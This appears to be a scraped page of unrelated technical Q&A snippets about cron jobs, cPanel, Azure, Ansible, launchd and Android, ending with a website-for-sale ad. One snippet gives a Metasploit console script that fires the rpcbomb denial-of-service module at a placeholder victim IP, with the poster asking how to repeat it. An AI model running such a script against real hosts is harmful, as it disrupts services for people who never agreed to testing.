run /scripts/setbwlimit automatically for new domain ?

Hi,

on cpanel server,
i can use " /scripts/setbwlimit –domain=xxx.com –limit=5120000 " to set total connectting speed for certain domain… | Read the rest of https://www.webhostingtalk.com/showthread.php?t=1835253&goto=newpost

In Drupal 7, how can I completely disable cron so that it won’t run even if the cron URL is hit or cron is ran manually?

When working on a dev site I’d like to put in a safeguard to make sure cron cannot run, even if triggered manually. Is there a way to do this in Drupal 7?

Run and dispose Docker images on Azure

I would like to run Docker images on Azure on demand, to do some processing.

What is the most cost-effective to do this in Azure to avoid keeping VMs up and running which are not being used? I could create and remove them manually but this is a task that will have to be done many times.

Is there a way to schedule a task that will create a Virtual Machine/Docker image, do the required processing and dispose itself?

ansible – How to run a master playbook configuring network on 2 hosts at the same time?

I have 2 hosts, and my master playbook which configures network and other steps, runs on both, at the same time. It is a requirement.
The network playbook when run on a host, asks for ip address of the network interfaces (3 interfaces for each host, in my case). So when I run this network playbook on 2 hosts at the same time, it gets confused, as to which address is for 1st VM, and which addresses are for 2nd VM.
How to solve this?

Run a PHP File once every day using cron job on Aws Lightsail Bitnami WordPress Installation

I’m using a custom php script to fetch popular posts based on jetpack postviews and write results to a static php file.

Now I want to run this script only once every day by setting up the cron job in my bitnami wordpress installation on Aws lightsail,

I’m NOT good at working with commands, can someone just tell me which commands do I have to execute to do setup a cron job?

I’ve already tried what is mentioned in the official bitnami documentation and few other resources, without any success.

Thanks

metasploit – How to run a meterpreter script multiple times

I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack.

use auxiliary/dos/rpc/rpcbomb
set RHOSTS Victim_IP_Address
set RPORT 111
exploit -j -z

I want to run the script about 10 times but I cant find any method to do so

Google Sheet script will not run on a tab linked to a Google Form

I wrote a script to move a row of data from one sheet (Sheet1) to another (Sheet2) when I type the word Yes in column one. I can get the script to work perfectly when the sheet is not collecting Form responses. When I have the first tab attached to a form my script will not run. Can someone please tell me what would prevent the script from running on a tab that is collecting responses?

Is it possbile to run Android 11 with multiple displays. 3 to be specific?

I would like to have Android setup with 1 primary and 2 secondary hardware displays. Wondering if it possible at all? I know you can have primary and secondary screens according to the documentation, and Android have Display Manager supporting multiple displays. But wondering if 3 total will work

terminal – Mac daemon not able to run bash script

Originally asked on Stack Overflow, but it may be more suited for here. Wherever it’s answered first, I’ll be sure to update the counterpart question with the same answer.

I’ve already checked this similar question.

OS MacOS 10.15.17 (Catalina)

I want to create a script that uses iperf to launch a client that measures my connection speed every several seconds for an extended period. I’ve created a daemon file and put it in ~/Library/LaunchAgents/com.myself.iperfclient.plist.

com.myself.iperfclient.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.myself.iperfclient</string>
        
        <key>ProgramArguments</key>
        <array>
            <string>/Users/myself/Documents/bin/iperf/netspeed</string>
        </array>

        <key>StartInterval</key>
        <integer>20</integer>  <!-- in seconds -->

        <key>Disabled</key>
        <false/>
    </dict>
</plist>

netspeed

#!/bin/bash


# see https://stackoverflow.com/a/246128/10200417
script_dir="$( cd "$( dirname "${BASH_SOURCE(0)}" )" >/dev/null 2>&1 && pwd )"
script_name=`basename $0`
# echo "called script $script_name from $script_dir"

iperf_server=127.0.0.1
iperf_port=54321

# launch iperf client, log results to ./logs/client.log
iperf 
    -c $iperf_server 
    -p $iperf_port 
    --logfile $script_dir/logs/client.log

The netspeed file is executable for anyone:

$ ls -l netspeed
  -rwxr-xr-x@ 1 myself  staff  379 Jan 11 21:36 netspeed

When I try to add the new daemon, with launchctl load ~/Library/LaunchAgents/com.myself.iperfclient.plist, this is the error message I get in the Console:

Sandbox: bash(50654) System Policy: deny(1) file-read-data /Users/myself/Documents/bin/iperf/netspeed

If in the .plist descriptor for the daemon I add <string>open</string> as the first item in ProgramArguments, there’s no error. However, I don’t want to run the script this way because it launches a new Terminal window every time, which is extremely annoying.

My question

How do I allow my daemon process to execute netspeed?

P.S.

The launchctl status code is 126.

$ launchctl list | grep myself
-   126 com.myself.iperfclient

Money Optimized Easy To Run Starter Site On 1 Word .Com

Why are you selling this site? Because I love building money sites to help others starting online.

How is it monetized? Dropservices

Does this site come with any social media accounts? NO

How much time does this site take to run? A few minutes

What challenges are there with running this site? None

Forget Dropshipping…it’s a headache with all the shipping delays and crappy suppliers.

Dropservices is the way to go!! Running a simple site that provides a digital service that is outsourced is where the EASY money is at. No packages getting lost, no angry customers demanding refunds, no cheap merchandise from poor suppliers. Just good, high, profit margins.

This site sells fun personalized toons that make really popular gifts for all ocassions. Even the marketing is easy…just expose it on Facebook through either paid ads or FREE by sharing it and watch it GROW and the sales come in.
Lightweight website where even the social icons are self hosted, so no slow loading site waiting for images to be served offsite and no database or connections to worry about.

All this on a BRANDABLE easy to remember .com domain!!
SEMrush

Easy peasy!

Have FUN with it!